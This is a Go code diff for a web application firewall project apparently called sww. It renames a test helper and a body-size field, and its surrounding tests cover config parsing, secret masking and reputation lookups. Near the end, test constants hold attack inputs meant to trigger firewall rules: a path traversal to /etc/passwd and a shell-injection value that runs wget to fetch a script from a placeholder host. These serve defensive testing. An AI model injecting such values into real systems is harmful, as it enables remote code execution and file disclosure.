const secret = "Bearer 0123456789abcdef"
|
||||||
|
|
||||||
cfg := fromEnvironment(t, environment{
|
cfg := wafFromEnvironment(t, environment{
|
||||||
alertWebhookHeaders: "Authorization:" + secret + ",X-Team:ops",
|
alertWebhookHeaders: "Authorization:" + secret + ",X-Team:ops",
|
||||||
})
|
})
|
||||||
|
|
||||||
@@ -1242,7 +1242,7 @@ func TestWebhookURLIsLoggedWithoutItsPathOrQueryAndNeverShown(t *testing.T) {
|
|||||||
"https://hooks.example:8443?token=" + secret: "https://hooks.example:8443/********",
|
"https://hooks.example:8443?token=" + secret: "https://hooks.example:8443/********",
|
||||||
"http://[2001:db8::1]:8080": "http://[2001:db8::1]:8080",
|
"http://[2001:db8::1]:8080": "http://[2001:db8::1]:8080",
|
||||||
} {
|
} {
|
||||||
cfg := fromEnvironment(t, environment{alertWebhookURL: value})
|
cfg := wafFromEnvironment(t, environment{alertWebhookURL: value})
|
||||||
|
|
||||||
var out bytes.Buffer
|
var out bytes.Buffer
|
||||||
|
|
||||||
@@ -1278,7 +1278,7 @@ func TestSlackAndNtfySettingsAreLoggedWithoutTheirSecrets(t *testing.T) {
|
|||||||
|
|
||||||
const token = "tk_0123456789abcdefghijklmnopq"
|
const token = "tk_0123456789abcdefghijklmnopq"
|
||||||
|
|
||||||
cfg := fromEnvironment(t, environment{
|
cfg := wafFromEnvironment(t, environment{
|
||||||
alertSlackWebhookURL: "https://hooks.slack.example/services/T0123/B4567/abcdef",
|
alertSlackWebhookURL: "https://hooks.slack.example/services/T0123/B4567/abcdef",
|
||||||
alertNtfyURL: "https://ntfy.example/sww-alerts",
|
alertNtfyURL: "https://ntfy.example/sww-alerts",
|
||||||
alertNtfyToken: token,
|
alertNtfyToken: token,
|
||||||
@@ -1345,7 +1345,7 @@ func TestInstanceNameWithAControlCharacterStopsTheStartOnlyWithNtfySet(
|
|||||||
t.Errorf("error %v, want %s", err, want)
|
t.Errorf("error %v, want %s", err, want)
|
||||||
}
|
}
|
||||||
|
|
||||||
cfg := fromEnvironment(t, environment{instanceName: name})
|
cfg := wafFromEnvironment(t, environment{instanceName: name})
|
||||||
if cfg.InstanceName != name {
|
if cfg.InstanceName != name {
|
||||||
t.Errorf(
|
t.Errorf(
|
||||||
"not sending to ntfy, %s is %q",
|
"not sending to ntfy, %s is %q",
|
||||||
@@ -1396,7 +1396,7 @@ func TestCodeInAllowedCountriesAndTagDenyStopsTheStart(t *testing.T) {
|
|||||||
func TestLookupSettingsAsSet(t *testing.T) {
|
func TestLookupSettingsAsSet(t *testing.T) {
|
||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
cfg := fromEnvironment(t, environment{
|
cfg := wafFromEnvironment(t, environment{
|
||||||
asnAndCountryLookupTimeout: "500", addLookupHeaders: enabled,
|
asnAndCountryLookupTimeout: "500", addLookupHeaders: enabled,
|
||||||
})
|
})
|
||||||
wantLookupSettings(t, cfg, config.WAF{
|
wantLookupSettings(t, cfg, config.WAF{
|
||||||
@@ -1404,7 +1404,7 @@ func TestLookupSettingsAsSet(t *testing.T) {
|
|||||||
AddLookupHeaders: true,
|
AddLookupHeaders: true,
|
||||||
})
|
})
|
||||||
|
|
||||||
cfg = fromEnvironment(t, environment{lookupSource: off})
|
cfg = wafFromEnvironment(t, environment{lookupSource: off})
|
||||||
wantLookupSettings(t, cfg, config.WAF{
|
wantLookupSettings(t, cfg, config.WAF{
|
||||||
LookupSource: off, ASNAndCountryLookupTimeout: 800 * time.Millisecond,
|
LookupSource: off, ASNAndCountryLookupTimeout: 800 * time.Millisecond,
|
||||||
})
|
})
|
||||||
@@ -1415,7 +1415,7 @@ func TestLookupDBPathGoesWithTheFileSourceAlone(t *testing.T) {
|
|||||||
|
|
||||||
const path = "/var/lib/ipinfo/ipinfo_lite.mmdb"
|
const path = "/var/lib/ipinfo/ipinfo_lite.mmdb"
|
||||||
|
|
||||||
cfg := fromEnvironment(
|
cfg := wafFromEnvironment(
|
||||||
t,
|
t,
|
||||||
environment{lookupSource: fileSource, lookupDBPath: path},
|
environment{lookupSource: fileSource, lookupDBPath: path},
|
||||||
)
|
)
|
||||||
@@ -1508,13 +1508,13 @@ func TestSettingNeedingLookupsStopsTheStartWhileTheyAreOff(t *testing.T) {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
fromEnvironment(t, env)
|
wafFromEnvironment(t, env)
|
||||||
}
|
}
|
||||||
|
|
||||||
func TestAnomalySettingsDefaults(t *testing.T) {
|
func TestAnomalySettingsDefaults(t *testing.T) {
|
||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
cfg := fromEnvironment(t, environment{})
|
cfg := wafFromEnvironment(t, environment{})
|
||||||
wantAllOff(t, cfg)
|
wantAllOff(t, cfg)
|
||||||
|
|
||||||
if cfg.AnomalyNetV4Prefix != 24 || cfg.AnomalyNetV6Prefix != 48 ||
|
if cfg.AnomalyNetV4Prefix != 24 || cfg.AnomalyNetV6Prefix != 48 ||
|
||||||
@@ -1556,7 +1556,7 @@ func TestAnomalySettingsAsSet(t *testing.T) {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
cfg := fromEnvironment(t, env)
|
cfg := wafFromEnvironment(t, env)
|
||||||
|
|
||||||
if got := thresholdsByScope(cfg); !maps.Equal(got, want) {
|
if got := thresholdsByScope(cfg); !maps.Equal(got, want) {
|
||||||
t.Errorf("thresholds by scope\n%+v\nwant\n%+v", got, want)
|
t.Errorf("thresholds by scope\n%+v\nwant\n%+v", got, want)
|
||||||
@@ -1589,7 +1589,7 @@ func TestAnomalySettingsAsSet(t *testing.T) {
|
|||||||
env[name] = off
|
env[name] = off
|
||||||
}
|
}
|
||||||
|
|
||||||
wantAllOff(t, fromEnvironment(t, env))
|
wantAllOff(t, wafFromEnvironment(t, env))
|
||||||
}
|
}
|
||||||
|
|
||||||
// thresholdsByScope returns cfg's anomaly thresholds, each by the prefix
|
// thresholdsByScope returns cfg's anomaly thresholds, each by the prefix
|
||||||
@@ -1678,7 +1678,7 @@ func TestTagSettingsAsSet(t *testing.T) {
|
|||||||
|
|
||||||
// Names and tags in either case, an AS number with leading zeros, and a
|
// Names and tags in either case, an AS number with leading zeros, and a
|
||||||
// name holding a =.
|
// name holding a =.
|
||||||
cfg := fromEnvironment(t, environment{
|
cfg := wafFromEnvironment(t, environment{
|
||||||
tagLists: "TorExit=" + torURL +
|
tagLists: "TorExit=" + torURL +
|
||||||
", vpn=mullvad=https://example.com/mullvad.txt",
|
", vpn=mullvad=https://example.com/mullvad.txt",
|
||||||
dnsblZones: "Zen.example",
|
dnsblZones: "Zen.example",
|
||||||
@@ -1717,7 +1717,7 @@ func TestRouteWatchURLAndPrefixTags(t *testing.T) {
|
|||||||
|
|
||||||
const rw = "https://routewatch.example"
|
const rw = "https://routewatch.example"
|
||||||
|
|
||||||
if cfg := fromEnvironment(t, environment{}); cfg.RouteWatchURL != "" {
|
if cfg := wafFromEnvironment(t, environment{}); cfg.RouteWatchURL != "" {
|
||||||
t.Errorf(
|
t.Errorf(
|
||||||
"default %s is %q, want unset",
|
"default %s is %q, want unset",
|
||||||
routeWatchURL,
|
routeWatchURL,
|
||||||
@@ -1725,7 +1725,7 @@ func TestRouteWatchURLAndPrefixTags(t *testing.T) {
|
|||||||
)
|
)
|
||||||
}
|
}
|
||||||
|
|
||||||
cfg := fromEnvironment(t, environment{
|
cfg := wafFromEnvironment(t, environment{
|
||||||
routeWatchURL: rw, tagDeny: "prefix=2001:DB8::/32",
|
routeWatchURL: rw, tagDeny: "prefix=2001:DB8::/32",
|
||||||
tagLimitPercent: "prefix=192.0.2.0/24:50",
|
tagLimitPercent: "prefix=192.0.2.0/24:50",
|
||||||
})
|
})
|
||||||
@@ -1742,7 +1742,7 @@ func TestRouteWatchURLAndPrefixTags(t *testing.T) {
|
|||||||
}
|
}
|
||||||
|
|
||||||
// routewatch gives asn= tags too, so an asn= tag needs no lookups while it is set.
|
// routewatch gives asn= tags too, so an asn= tag needs no lookups while it is set.
|
||||||
fromEnvironment(t, environment{
|
wafFromEnvironment(t, environment{
|
||||||
lookupSource: off, routeWatchURL: rw, tagDeny: "asn=64496",
|
lookupSource: off, routeWatchURL: rw, tagDeny: "asn=64496",
|
||||||
})
|
})
|
||||||
|
|
||||||
@@ -1919,7 +1919,7 @@ func TestTagListURLFetchedAsAnotherListStopsTheStart(t *testing.T) {
|
|||||||
func TestBiasedThresholdsAsSet(t *testing.T) {
|
func TestBiasedThresholdsAsSet(t *testing.T) {
|
||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
cfg := fromEnvironment(t, environment{})
|
cfg := wafFromEnvironment(t, environment{})
|
||||||
if len(cfg.ASNBytesLimitPercent) != 0 ||
|
if len(cfg.ASNBytesLimitPercent) != 0 ||
|
||||||
len(cfg.CountryBytesLimitPercent) != 0 ||
|
len(cfg.CountryBytesLimitPercent) != 0 ||
|
||||||
cfg.UnknownCountryLimitPercent != 100 {
|
cfg.UnknownCountryLimitPercent != 100 {
|
||||||
@@ -1934,7 +1934,7 @@ func TestBiasedThresholdsAsSet(t *testing.T) {
|
|||||||
|
|
||||||
// AS numbers and countries in either case, an AS number with leading
|
// AS numbers and countries in either case, an AS number with leading
|
||||||
// zeros, 0 and 100.
|
// zeros, 0 and 100.
|
||||||
cfg = fromEnvironment(t, environment{
|
cfg = wafFromEnvironment(t, environment{
|
||||||
asnBytesLimitPercent: "as16276:75",
|
asnBytesLimitPercent: "as16276:75",
|
||||||
countryBytesLimitPercent: "ru:10",
|
countryBytesLimitPercent: "ru:10",
|
||||||
unknownCountryLimitPercent: "0",
|
unknownCountryLimitPercent: "0",
|
||||||
@@ -2016,7 +2016,7 @@ const (
|
|||||||
func TestReputationSettingsAsSet(t *testing.T) {
|
func TestReputationSettingsAsSet(t *testing.T) {
|
||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
cfg := fromEnvironment(t, environment{})
|
cfg := wafFromEnvironment(t, environment{})
|
||||||
if len(cfg.BlocklistURLs) != 0 || cfg.BlocklistRefresh != 24*time.Hour ||
|
if len(cfg.BlocklistURLs) != 0 || cfg.BlocklistRefresh != 24*time.Hour ||
|
||||||
cfg.BlocklistAction != actionDeny || cfg.ASNLimitPercentURL != "" {
|
cfg.BlocklistAction != actionDeny || cfg.ASNLimitPercentURL != "" {
|
||||||
t.Errorf(
|
t.Errorf(
|
||||||
@@ -2043,7 +2043,7 @@ func TestReputationSettingsAsSet(t *testing.T) {
|
|||||||
{"limit:0", actionLimit, 0},
|
{"limit:0", actionLimit, 0},
|
||||||
} {
|
} {
|
||||||
// An hour, the shortest refresh allowed.
|
// An hour, the shortest refresh allowed.
|
||||||
cfg := fromEnvironment(t, environment{
|
cfg := wafFromEnvironment(t, environment{
|
||||||
blocklistURLs: dropURL + ", " + torURL, blocklistRefresh: "1h",
|
blocklistURLs: dropURL + ", " + torURL, blocklistRefresh: "1h",
|
||||||
blocklistAction: tc.value, asnLimitPercentURL: asnURL,
|
blocklistAction: tc.value, asnLimitPercentURL: asnURL,
|
||||||
})
|
})
|
||||||
@@ -2140,7 +2140,7 @@ const (
|
|||||||
func TestDNSBLSettingsAsSet(t *testing.T) {
|
func TestDNSBLSettingsAsSet(t *testing.T) {
|
||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
cfg := fromEnvironment(t, environment{})
|
cfg := wafFromEnvironment(t, environment{})
|
||||||
if len(cfg.DNSBLZones) != 0 || cfg.DNSBLResolver.IsValid() ||
|
if len(cfg.DNSBLZones) != 0 || cfg.DNSBLResolver.IsValid() ||
|
||||||
cfg.DNSBLAbuseIPDBAction != actionLimit ||
|
cfg.DNSBLAbuseIPDBAction != actionLimit ||
|
||||||
cfg.DNSBLAbuseIPDBLimitPercent != 25 ||
|
cfg.DNSBLAbuseIPDBLimitPercent != 25 ||
|
||||||
@@ -2188,7 +2188,7 @@ func TestDNSBLSettingsAsSet(t *testing.T) {
|
|||||||
[]string{dronebl}, "[2001:db8::53]:5353", actionLimit, 0,
|
[]string{dronebl}, "[2001:db8::53]:5353", actionLimit, 0,
|
||||||
},
|
},
|
||||||
} {
|
} {
|
||||||
cfg := fromEnvironment(t, environment{
|
cfg := wafFromEnvironment(t, environment{
|
||||||
dnsblZones: tc.zones, dnsblResolver: tc.resolver, dnsblAbuseIPDBAction: tc.action,
|
dnsblZones: tc.zones, dnsblResolver: tc.resolver, dnsblAbuseIPDBAction: tc.action,
|
||||||
ipReputationCacheTTL: "12h", dnsblAbuseIPDBTimeout: "3000",
|
ipReputationCacheTTL: "12h", dnsblAbuseIPDBTimeout: "3000",
|
||||||
})
|
})
|
||||||
@@ -2310,7 +2310,7 @@ func TestMaskZoneKeyMasksTheFirstLabelOfAZoneUnderDqSpamhausNet(
|
|||||||
func TestDNSBLZoneKeyIsLoggedMaskedAndNeverShown(t *testing.T) {
|
func TestDNSBLZoneKeyIsLoggedMaskedAndNeverShown(t *testing.T) {
|
||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
cfg := fromEnvironment(
|
cfg := wafFromEnvironment(
|
||||||
t,
|
t,
|
||||||
environment{dnsblZones: dronebl + ", " + spamhaus},
|
environment{dnsblZones: dronebl + ", " + spamhaus},
|
||||||
)
|
)
|
||||||
@@ -2375,7 +2375,7 @@ func TestDNSBLZoneKeyIsLoggedMaskedAndNeverShown(t *testing.T) {
|
|||||||
func TestAbuseIPDBSettingsAsSet(t *testing.T) {
|
func TestAbuseIPDBSettingsAsSet(t *testing.T) {
|
||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
cfg := fromEnvironment(t, environment{})
|
cfg := wafFromEnvironment(t, environment{})
|
||||||
if cfg.AbuseIPDBKey != "" || cfg.AbuseIPDBMinScore != 75 ||
|
if cfg.AbuseIPDBKey != "" || cfg.AbuseIPDBMinScore != 75 ||
|
||||||
cfg.AbuseIPDBDailyBudget != 900 {
|
cfg.AbuseIPDBDailyBudget != 900 {
|
||||||
t.Errorf(
|
t.Errorf(
|
||||||
@@ -2387,7 +2387,7 @@ func TestAbuseIPDBSettingsAsSet(t *testing.T) {
|
|||||||
)
|
)
|
||||||
}
|
}
|
||||||
|
|
||||||
cfg = fromEnvironment(t, environment{
|
cfg = wafFromEnvironment(t, environment{
|
||||||
abuseIPDBKey: token, abuseIPDBMinScore: "0", abuseIPDBDailyBudget: "1",
|
abuseIPDBKey: token, abuseIPDBMinScore: "0", abuseIPDBDailyBudget: "1",
|
||||||
})
|
})
|
||||||
if cfg.AbuseIPDBKey != token || cfg.AbuseIPDBMinScore != 0 ||
|
if cfg.AbuseIPDBKey != token || cfg.AbuseIPDBMinScore != 0 ||
|
||||||
@@ -2442,7 +2442,7 @@ func TestInvalidAbuseIPDBSettingStopsTheStartSayingWhatIsWrong(
|
|||||||
func TestAbuseIPDBKeyIsLoggedMasked(t *testing.T) {
|
func TestAbuseIPDBKeyIsLoggedMasked(t *testing.T) {
|
||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
cfg := fromEnvironment(t, environment{abuseIPDBKey: token})
|
cfg := wafFromEnvironment(t, environment{abuseIPDBKey: token})
|
||||||
|
|
||||||
var out bytes.Buffer
|
var out bytes.Buffer
|
||||||
|
|
||||||
@@ -2459,7 +2459,7 @@ func TestAbuseIPDBKeyIsLoggedMasked(t *testing.T) {
|
|||||||
func TestCrowdSecSettingsGiveTheDecisionListAndTheKey(t *testing.T) {
|
func TestCrowdSecSettingsGiveTheDecisionListAndTheKey(t *testing.T) {
|
||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
cfg := fromEnvironment(t, environment{})
|
cfg := wafFromEnvironment(t, environment{})
|
||||||
if cfg.CrowdSecDecisionsURL != "" || cfg.CrowdSecKey != "" {
|
if cfg.CrowdSecDecisionsURL != "" || cfg.CrowdSecKey != "" {
|
||||||
t.Errorf(
|
t.Errorf(
|
||||||
"by default, the decision list %q and the key %q, want neither",
|
"by default, the decision list %q and the key %q, want neither",
|
||||||
@@ -2474,7 +2474,7 @@ func TestCrowdSecSettingsGiveTheDecisionListAndTheKey(t *testing.T) {
|
|||||||
"https://crowdsec.example/lapi/": "https://crowdsec.example/lapi/v1/decisions",
|
"https://crowdsec.example/lapi/": "https://crowdsec.example/lapi/v1/decisions",
|
||||||
"https://crowdsec.example:8443/x": "https://crowdsec.example:8443/x/v1/decisions",
|
"https://crowdsec.example:8443/x": "https://crowdsec.example:8443/x/v1/decisions",
|
||||||
} {
|
} {
|
||||||
cfg := fromEnvironment(
|
cfg := wafFromEnvironment(
|
||||||
t,
|
t,
|
||||||
environment{crowdSecURL: lapi, crowdSecKey: token},
|
environment{crowdSecURL: lapi, crowdSecKey: token},
|
||||||
)
|
)
|
||||||
@@ -2568,7 +2568,7 @@ func TestInvalidCrowdSecSettingStopsTheStartSayingWhatIsWrong(t *testing.T) {
|
|||||||
func TestCrowdSecKeyIsLoggedMasked(t *testing.T) {
|
func TestCrowdSecKeyIsLoggedMasked(t *testing.T) {
|
||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
cfg := fromEnvironment(t, environment{
|
cfg := wafFromEnvironment(t, environment{
|
||||||
crowdSecURL: "http://172.17.0.1:8080", crowdSecKey: token,
|
crowdSecURL: "http://172.17.0.1:8080", crowdSecKey: token,
|
||||||
})
|
})
|
||||||
|
|
||||||
@@ -2591,7 +2591,7 @@ func TestCrowdSecKeyIsLoggedMasked(t *testing.T) {
|
|||||||
func TestSizesAndOff(t *testing.T) {
|
func TestSizesAndOff(t *testing.T) {
|
||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
cfg := fromEnvironment(t, environment{
|
cfg := wafFromEnvironment(t, environment{
|
||||||
bytesLimitPerMinute: "3G",
|
bytesLimitPerMinute: "3G",
|
||||||
bytesLimitPerHour: off,
|
bytesLimitPerHour: off,
|
||||||
alertCooldown: off,
|
alertCooldown: off,
|
||||||
@@ -2611,7 +2611,7 @@ func TestSizesAndOff(t *testing.T) {
|
|||||||
func TestRateLimitsOff(t *testing.T) {
|
func TestRateLimitsOff(t *testing.T) {
|
||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
cfg := fromEnvironment(t, environment{
|
cfg := wafFromEnvironment(t, environment{
|
||||||
rateLimitPerMinute: off,
|
rateLimitPerMinute: off,
|
||||||
rateLimitPerHour: off,
|
rateLimitPerHour: off,
|
||||||
rateLimitPerDay: off,
|
rateLimitPerDay: off,
|
||||||
@@ -2631,7 +2631,7 @@ func TestRateLimitsOff(t *testing.T) {
|
|||||||
func TestBanResponseCloseIsZero(t *testing.T) {
|
func TestBanResponseCloseIsZero(t *testing.T) {
|
||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
cfg := fromEnvironment(t, environment{banResponse: "close"})
|
cfg := wafFromEnvironment(t, environment{banResponse: "close"})
|
||||||
if cfg.BanResponse != 0 {
|
if cfg.BanResponse != 0 {
|
||||||
t.Errorf("close read as %d, want 0", cfg.BanResponse)
|
t.Errorf("close read as %d, want 0", cfg.BanResponse)
|
||||||
}
|
}
|
||||||
@@ -2883,7 +2883,7 @@ func TestShortTokenStopsTheStartWithoutShowingIt(t *testing.T) {
|
|||||||
func TestTokensAreReadAndLoggedMasked(t *testing.T) {
|
func TestTokensAreReadAndLoggedMasked(t *testing.T) {
|
||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
cfg := fromEnvironment(
|
cfg := wafFromEnvironment(
|
||||||
t,
|
t,
|
||||||
environment{adminToken: otherToken, metricsToken: token},
|
environment{adminToken: otherToken, metricsToken: token},
|
||||||
)
|
)
|
||||||
@@ -2915,7 +2915,7 @@ func TestSettingFromFileLosesOneNewlineAndNoMore(t *testing.T) {
|
|||||||
token + "\n\n": token + "\n",
|
token + "\n\n": token + "\n",
|
||||||
token + " \n": token + " ",
|
token + " \n": token + " ",
|
||||||
} {
|
} {
|
||||||
cfg := fromEnvironment(t, environment{
|
cfg := wafFromEnvironment(t, environment{
|
||||||
metricsToken + "_FILE": writeFile(t, contents),
|
metricsToken + "_FILE": writeFile(t, contents),
|
||||||
})
|
})
|
||||||
if cfg.MetricsToken != want {
|
if cfg.MetricsToken != want {
|
||||||
@@ -2991,7 +2991,7 @@ func TestTokenFromFileIsLoggedMaskedWithTheFile(t *testing.T) {
|
|||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
path := writeFile(t, token+"\n")
|
path := writeFile(t, token+"\n")
|
||||||
cfg := fromEnvironment(t, environment{metricsToken + "_FILE": path})
|
cfg := wafFromEnvironment(t, environment{metricsToken + "_FILE": path})
|
||||||
|
|
||||||
var out bytes.Buffer
|
var out bytes.Buffer
|
||||||
|
|
||||||
@@ -3021,7 +3021,7 @@ func TestTokenFromFileIsLoggedMaskedWithTheFile(t *testing.T) {
|
|||||||
func TestRemoteLogCAFileIsNotReadAsAFileInItsTurn(t *testing.T) {
|
func TestRemoteLogCAFileIsNotReadAsAFileInItsTurn(t *testing.T) {
|
||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
cfg := fromEnvironment(t, environment{
|
cfg := wafFromEnvironment(t, environment{
|
||||||
logRemoteTLSCAFile + "_FILE": writeFile(t, "/nonexistent/ca.pem\n"),
|
logRemoteTLSCAFile + "_FILE": writeFile(t, "/nonexistent/ca.pem\n"),
|
||||||
})
|
})
|
||||||
if cfg.LogRemoteTLSCAs != nil {
|
if cfg.LogRemoteTLSCAs != nil {
|
||||||
@@ -3048,7 +3048,7 @@ func writeFile(t *testing.T, contents string) string {
|
|||||||
func TestLogsEachSettingWithItsValue(t *testing.T) {
|
func TestLogsEachSettingWithItsValue(t *testing.T) {
|
||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
cfg := fromEnvironment(t, environment{rateLimitPerMinute: "45"})
|
cfg := wafFromEnvironment(t, environment{rateLimitPerMinute: "45"})
|
||||||
hostname, _ := os.Hostname()
|
hostname, _ := os.Hostname()
|
||||||
|
|
||||||
want := map[string]string{
|
want := map[string]string{
|
||||||
|
|||||||
@@ -337,8 +337,8 @@ func checkExclusions(exclusions string) error {
|
|||||||
// CoreRuleSet is the Core Rule Set, ready to inspect requests. It is safe
|
// CoreRuleSet is the Core Rule Set, ready to inspect requests. It is safe
|
||||||
// for concurrent use.
|
// for concurrent use.
|
||||||
type CoreRuleSet struct {
|
type CoreRuleSet struct {
|
||||||
engine coraza.WAF
|
engine coraza.WAF
|
||||||
bodyLimit int64
|
bodyInspectionSize int64
|
||||||
// appsByHostname are the names of the apps each hostname serves, by
|
// appsByHostname are the names of the apps each hostname serves, by
|
||||||
// hostname in lowercase (SWW_WAF_APPS), nil while SWW_WAF_APPS is unset.
|
// hostname in lowercase (SWW_WAF_APPS), nil while SWW_WAF_APPS is unset.
|
||||||
appsByHostname map[string][]string
|
appsByHostname map[string][]string
|
||||||
@@ -346,10 +346,10 @@ type CoreRuleSet struct {
|
|||||||
|
|
||||||
// New returns the Core Rule Set with the five changes and the apps' fixes,
|
// New returns the Core Rule Set with the five changes and the apps' fixes,
|
||||||
// at params' paranoia level, without the rules it switches off, reading
|
// at params' paranoia level, without the rules it switches off, reading
|
||||||
// request bodies up to params' limit, and with params' exclusions file
|
// request bodies up to params' body inspection size, and with params'
|
||||||
// loaded before the Core Rule Set's rules. An exclusions file is an error
|
// exclusions file loaded before the Core Rule Set's rules. An exclusions
|
||||||
// if it cannot be read or does not parse, or if checkExclusions refuses
|
// file is an error if it cannot be read or does not parse, or if
|
||||||
// it.
|
// checkExclusions refuses it.
|
||||||
func New(params Params) (*CoreRuleSet, error) {
|
func New(params Params) (*CoreRuleSet, error) {
|
||||||
body := ""
|
body := ""
|
||||||
if params.BodyInspectionSize > 0 {
|
if params.BodyInspectionSize > 0 {
|
||||||
@@ -397,9 +397,9 @@ func New(params Params) (*CoreRuleSet, error) {
|
|||||||
}
|
}
|
||||||
|
|
||||||
return &CoreRuleSet{
|
return &CoreRuleSet{
|
||||||
engine: engine,
|
engine: engine,
|
||||||
bodyLimit: params.BodyInspectionSize,
|
bodyInspectionSize: params.BodyInspectionSize,
|
||||||
appsByHostname: params.Apps,
|
appsByHostname: params.Apps,
|
||||||
}, nil
|
}, nil
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -484,17 +484,17 @@ func (c *CoreRuleSet) Inspect(
|
|||||||
// readBody reads body, the body of the request in tx, which has run on
|
// readBody reads body, the body of the request in tx, which has run on
|
||||||
// the request's headers, while SWW_WAF_CORE_RULE_SET_BODY_INSPECTION_SIZE is
|
// the request's headers, while SWW_WAF_CORE_RULE_SET_BODY_INSPECTION_SIZE is
|
||||||
// set and the body is of a kind the Core Rule Set reads: form data and
|
// set and the body is of a kind the Core Rule Set reads: form data and
|
||||||
// multipart, of which it reads the first c.bodyLimit bytes, and JSON and
|
// multipart, of which it reads the first c.bodyInspectionSize bytes, and
|
||||||
// XML, which it reads only when they are no longer than that, since they
|
// JSON and XML, which it reads only when they are no longer than that,
|
||||||
// cannot be read in part.
|
// since they cannot be read in part.
|
||||||
// readBody reads one byte past the limit, to tell which they are, gives
|
// readBody reads one byte past c.bodyInspectionSize, to tell which they
|
||||||
// the Core Rule Set what it reads, and returns what it read and the error
|
// are, gives the Core Rule Set what it reads, and returns what it read and
|
||||||
// that ended the reading early, if one did.
|
// the error that ended the reading early, if one did.
|
||||||
func (c *CoreRuleSet) readBody(
|
func (c *CoreRuleSet) readBody(
|
||||||
tx types.Transaction,
|
tx types.Transaction,
|
||||||
body io.Reader,
|
body io.Reader,
|
||||||
) ([]byte, error) {
|
) ([]byte, error) {
|
||||||
if c.bodyLimit == 0 {
|
if c.bodyInspectionSize == 0 {
|
||||||
return nil, nil
|
return nil, nil
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -511,9 +511,9 @@ func (c *CoreRuleSet) readBody(
|
|||||||
return nil, nil
|
return nil, nil
|
||||||
}
|
}
|
||||||
|
|
||||||
read, err := io.ReadAll(io.LimitReader(body, c.bodyLimit+1))
|
read, err := io.ReadAll(io.LimitReader(body, c.bodyInspectionSize+1))
|
||||||
|
|
||||||
if inPart || (err == nil && int64(len(read)) <= c.bodyLimit) {
|
if inPart || (err == nil && int64(len(read)) <= c.bodyInspectionSize) {
|
||||||
// Coraza holds what it reads of the body in memory, up to the
|
// Coraza holds what it reads of the body in memory, up to the
|
||||||
// limit, so this cannot fail.
|
// limit, so this cannot fail.
|
||||||
_, _, _ = tx.WriteRequestBody(read)
|
_, _, _ = tx.WriteRequestBody(read)
|
||||||
|
|||||||
@@ -1089,7 +1089,8 @@ var findMisfiringPasswords = sync.OnceValues(func() ([]string, error) {
|
|||||||
const workers, perBody = 16, 10
|
const workers, perBody = 16, 10
|
||||||
|
|
||||||
crs, err := loaderFor(coreruleset.Params{
|
crs, err := loaderFor(coreruleset.Params{
|
||||||
ParanoiaLevel: 1, DisabledRules: defaultDisabledRules, BodyInspectionSize: bodyLimit,
|
ParanoiaLevel: 1, DisabledRules: defaultDisabledRules,
|
||||||
|
BodyInspectionSize: bodyInspectionSize,
|
||||||
})()
|
})()
|
||||||
if err != nil {
|
if err != nil {
|
||||||
return nil, err
|
return nil, err
|
||||||
@@ -1173,8 +1174,11 @@ func wantRandomPasswordsPass(t *testing.T, r request, name string) {
|
|||||||
names := []string{name}
|
names := []string{name}
|
||||||
|
|
||||||
body := passwordBody(t, r, names, misfiring...)
|
body := passwordBody(t, r, names, misfiring...)
|
||||||
if len(body) > bodyLimit {
|
if len(body) > bodyInspectionSize {
|
||||||
t.Fatalf("a body of %d bytes is cut at bodyLimit", len(body))
|
t.Fatalf(
|
||||||
|
"a body of %d bytes is cut at bodyInspectionSize",
|
||||||
|
len(body),
|
||||||
|
)
|
||||||
}
|
}
|
||||||
|
|
||||||
if got, _ := inspectBody(t, crs, r, body); got.Score < threshold {
|
if got, _ := inspectBody(t, crs, r, body); got.Score < threshold {
|
||||||
@@ -2310,9 +2314,9 @@ func TestWordPressExclusionsAreNarrow(t *testing.T) {
|
|||||||
wantBody(t, crs, signIn, body, matched(930120), body)
|
wantBody(t, crs, signIn, body, matched(930120), body)
|
||||||
}
|
}
|
||||||
|
|
||||||
// bodyLimit is SWW_WAF_CORE_RULE_SET_BODY_INSPECTION_SIZE in the tests that
|
// bodyInspectionSize is SWW_WAF_CORE_RULE_SET_BODY_INSPECTION_SIZE in the
|
||||||
// read bodies.
|
// tests that read bodies.
|
||||||
const bodyLimit = 8 << 10
|
const bodyInspectionSize = 8 << 10
|
||||||
|
|
||||||
// The Content-Type headers of the kinds of body the Core Rule Set reads.
|
// The Content-Type headers of the kinds of body the Core Rule Set reads.
|
||||||
const (
|
const (
|
||||||
@@ -2335,12 +2339,13 @@ const pathTraversal = "../../etc/passwd"
|
|||||||
const shellCommand = "; wget http://example.com/x.sh"
|
const shellCommand = "; wget http://example.com/x.sh"
|
||||||
|
|
||||||
// readingBodies returns the Core Rule Set as sww runs it by
|
// readingBodies returns the Core Rule Set as sww runs it by
|
||||||
// default, but reading bodies up to bodyLimit.
|
// default, but reading bodies up to bodyInspectionSize.
|
||||||
func readingBodies(t *testing.T) *coreruleset.CoreRuleSet {
|
func readingBodies(t *testing.T) *coreruleset.CoreRuleSet {
|
||||||
t.Helper()
|
t.Helper()
|
||||||
|
|
||||||
return shared(t, coreruleset.Params{
|
return shared(t, coreruleset.Params{
|
||||||
ParanoiaLevel: 1, DisabledRules: defaultDisabledRules, BodyInspectionSize: bodyLimit,
|
ParanoiaLevel: 1, DisabledRules: defaultDisabledRules,
|
||||||
|
BodyInspectionSize: bodyInspectionSize,
|
||||||
})
|
